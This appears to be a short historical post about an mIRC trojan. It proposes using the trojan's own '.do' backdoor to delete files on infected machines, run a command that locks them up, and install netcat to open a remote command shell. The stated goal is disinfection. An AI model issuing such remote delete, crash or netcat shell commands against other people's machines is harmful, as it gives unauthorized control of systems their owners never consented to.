With the DO command enabled, they gave us the means to remotely disable
this trojan.

Something to the effect of;

msg <nick> .do del c:\windows\system\oce*.*

Then, msg <nick> .do <some evil command to lock up the machine, forcing a
reboot>.

I'd be happy to write something cleaner and more specific, if someone
could forward me a copy of this trojan, or at least a directory listing of
the c:\windows\system directory on an infected machine.

The mIRC DO command is very powerful, and can be used to install netcat on
the remote machine. We could then .msg <nick> <path to netcat>\nc.exe -L
-p <any port> <your ip> -t -e command.com, giving a remote command prompt
to investigate/disinfect the machine.

Anyone with a copy of this, feel free to mail me here, or contact
Phatass on EFnet.
